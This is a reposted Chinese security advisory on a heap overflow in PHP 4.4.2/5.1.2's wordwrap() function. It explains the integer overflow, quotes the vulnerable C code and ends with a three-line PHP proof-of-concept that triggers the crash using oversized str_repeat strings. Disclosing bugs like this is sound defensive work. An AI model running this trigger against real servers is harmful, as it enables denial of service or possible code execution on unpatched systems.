PHPwordwrap()缓冲区溢出漏洞

王朝php·作者佚名  2008-05-18
窄屏简体版  字體: |||超大  

受影响系统:

PHP PHP 5.1.2

PHP PHP 4.4.2

描述:

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的wordwrap()函数实现上存在漏洞,远程攻击者可能利用此漏洞对PHP执行堆溢出攻击,可能导致拒绝服务或执行任意指令。

由于错误的整数计算,如果向PHP的wordwrap()函数发送了超长字符串的话,就会触发堆溢出漏洞。在下文的[1]或[2]中,整数“alloced”是从用户输入字符串的长度计算出来的。如果设置了长字符串(大约1MB)的话在乘法操作时就会溢出产生小正整数,在[3]中使用进行内存分配。在[4]中用户输入拷贝到新分配的缓冲区“newtext”,而这个缓冲区过小,在memcpy()中会溢出。拷贝大小“current”会包含用户提供字符串“text”的长度。

php-4.4.2/ext/standard/string.c中的有漏洞代码:

--------------------------------------------------------

PHP_FUNCTION(wordwrap)

{

const char *text, *breakchar = "\n";

char *newtext;

int textlen, breakcharlen = 1, newtextlen, alloced, chk;

long current = 0, laststart = 0, lastspace = 0;

long linelength = 75;

zend_bool docut = 0;

...

if (linelength > 0) {

chk = (int)(textlen/linelength + 1);

[1] alloced = textlen + chk * breakcharlen + 1;

} else {

chk = textlen;

[2] alloced = textlen * (breakcharlen + 1) + 1;

}

if (alloced <= 0) {

RETURN_FALSE;

}

[3] newtext = emalloc(alloced);

...

if (laststart != current) {

[4] memcpy(newtext+newtextlen, text+laststart, current-laststart);

newtextlen += current - laststart;

}

...

}

--------------------------------------------------------

如果memory_limit的值过高,还可能导致内存拒绝服务。

<*来源:Leon Juranic (ljuranic@LSS.hr)

链接:http://secunia.com/advisories/19803/print/

http://www.infigo.hr/hr/in_focus/advisories/INFIGO-2006-04-02

*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

$a = str_repeat ("A",438013);

$b = str_repeat ("B",951140);

wordwrap ($a,0,$b,0);

?>

建议:

厂商补丁:

PHP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航